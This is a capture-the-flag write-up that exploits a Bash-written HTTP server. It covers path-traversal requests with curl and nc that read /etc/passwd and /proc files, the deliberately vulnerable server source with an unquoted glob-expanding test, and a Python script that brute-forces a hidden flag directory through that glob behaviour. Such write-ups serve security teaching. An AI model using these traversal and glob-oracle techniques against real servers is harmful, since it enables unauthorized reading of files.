# BadAss Server for Hypertext
Writeup by [r2uwu2](https://github.com/r2dev2)
> I wrote my own HTTP server. I have to admit: the code is a bit cursed, but it works! So no problem, right?

[toc]
## Application
Looking at the first request to the server,

It's bash 💀.
## LFI
There is url <http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg> on the page to request an image, let us try an LFI.
```
$: curl --path-as-is "http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```
We can lfi now. Let us try to get the application source code.
Some more info is revealed on error:

We know that the application has an `/app` folder and a `/static/assets` in it.
I was trying to read `/proc/self/status` but would receive an empty string. To look into this further, I tried sending a raw HTTP request with `nc`.
```bash!
(echo "GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../proc/meminfo HTTP/1.1"; echo; echo; sleep 1) | nc chal-kalmarc.tf 8080
```
The above command returned me the `/proc/meminfo` yay.
With this truly arbitrary read, I decided to try leaking the `cmdline` and `environ` of some of the initial `PID`. I found that `PID=1` was `socat` and from the `cmdline`, I found that the path to the server is `/app/badass_server.sh`.

## Find Flag
From here, I was fairly stumped. I had to figure out a way to get the flag. However, I don't even know where the flag is, so I might need RCE.
Looking through the source code for `badass_server.sh`, it's fairly hard to see anything wrong with the code.
```bash=
#!/bin/bash
# I hope there are no bugs in this source code...
set -e
declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"
abort() {
declare -gA response_headers
status="400 Bad Request"
write_headers
if [ ! -z ${1+x} ]; then
>&2 echo "Request aborted: $1"
echo -en $1
fi
exit 1
}
write_headers() {
response_headers['Connection']='close'
response_headers['X-Powered-By']='Bash'
echo -en "HTTP/1.0 $status\r\n"
for key in "${!response_headers[@]}"; do
echo -en "${key}: ${response_headers[$key]}\r\n"
done
echo -en '\r\n'
>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}
receive_request() {
read -d $'\n' -a request_line
if [ ${#request_line[@]} != 3 ]; then
abort "Invalid request line"
fi
method=${request_line[0]}
uri=${request_line[1]}
protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
abort "Invalid request method"
fi
if [[ ! $uri =~ ^/ ]]; then
abort 'Invalid URI'
fi
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi
while read -d $'\n' header; do
stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [ -z "$stripped_header" ]; then
break;
fi
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
abort "Invalid header name";
fi
# If header already exists, add value to comma separated list
if [[ -v request_headers[$header_name] ]]; then
request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
else
request_headers[$header_name]="$header_value"
fi
done
body_length=${request_headers["content-length"]:-0}
if [[ ! $body_length =~ ^[0-9]+$ ]]; then
abort "Invalid Content-Length"
fi
read -N $body_length request_body
}
handle_request() {
# Default: serve from static directory
path="/app/static$uri"
path_last_character=$(echo -n "$path" | tail -c 1)
if [ "$path_last_character" == '/' ]; then
path="${path}index.html"
fi
if ! cat "$path" > /dev/null; then
status="404 Not Found"
else
mime_type=$(file --mime-type -b "$path")
file_size=$(stat --printf="%s" "$path")
response_headers["Content-Type"]="$mime_type"
response_headers["Content-Length"]="$file_size"
fi
write_headers
cat "$path" 2>&1
}
receive_request
handle_request
```
I can't sneak in a command injection anywhere to get RCE as everything is properly quoted. Or is it?
Looking at line 62, we have `[ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]`. Since `$protocol` is not quoted and `[` is simply an executable `/usr/bin/[`, `$protocol` will expand as a glob. We can use this to perform nefarious deeds.
Playing around with various globs, I found that when the glob matches two files, it causes a space in the expansion which bypasses the protocol check (try using `*` as the protocol). When I was trying to build up a prefix using a glob to find the flag file path, I found that the following glob bypasses the protocol check:
`(echo 'GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd [bs][at][ad][at][is]*[ch]'; echo; echo; sleep 1) | nc chal-kalmarc.tf 8080; echo`
It may seem very weird that each character only has two possible characters. Looking at it closer, it indicates that there exists a `badass.sh` and a `static` in the same directory as the glob is an interleaving of the two. We can use this to leak file paths as long as we know a file path in the directory.
I first thought that the flag was in `/`, but after a lot of trial and error, I was not able to find anything. I then looked at the inspect element for the website.

There seem to be multiple folders in `assets/`, perhaps there is a folder with our flag.
With a manual test, I confirmed that there was a folder starting with `9` in `assets/`. I then decided to write a script to do this (I was doing this all by hand previously).
## Scripting Time
```python=
import socket
import string
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor
host = "chal-kalmarc.tf"
port = 8080
def test(glob):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.sendall(f"GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd {glob}\n\n".encode())
return b"OK" in s.recv(1024)
existing = "26c3f25922f71af3372ac65a75cd3b11"
prefix = "9"
owo = []
def work(s):
pprefix = prefix + s
query = "static/assets/"
for e, p in zip(existing, pprefix):
query += f"[{e}{p}]"
query += "*"
if test(query):
owo.append(s)
def get_one():
owo[:] = []
with ThreadPoolExecutor(50) as pool:
charset = string.hexdigits
list(tqdm(pool.map(work, charset), total=len(charset)))
return owo
while len(prefix) < len(existing):
print(prefix, len(prefix) / len(existing))
uwu = get_one()
print(uwu, len(uwu))
if len(uwu) == 1:
prefix += uwu[0]
if len(uwu) == 0:
print("nooooo")
exit()
if len(uwu) > 1:
prefix += existing[len(prefix)]
print(prefix)
```
It slowly built up to the full hex:

I then tried visiting `flag.txt` in the folder and found the flag:
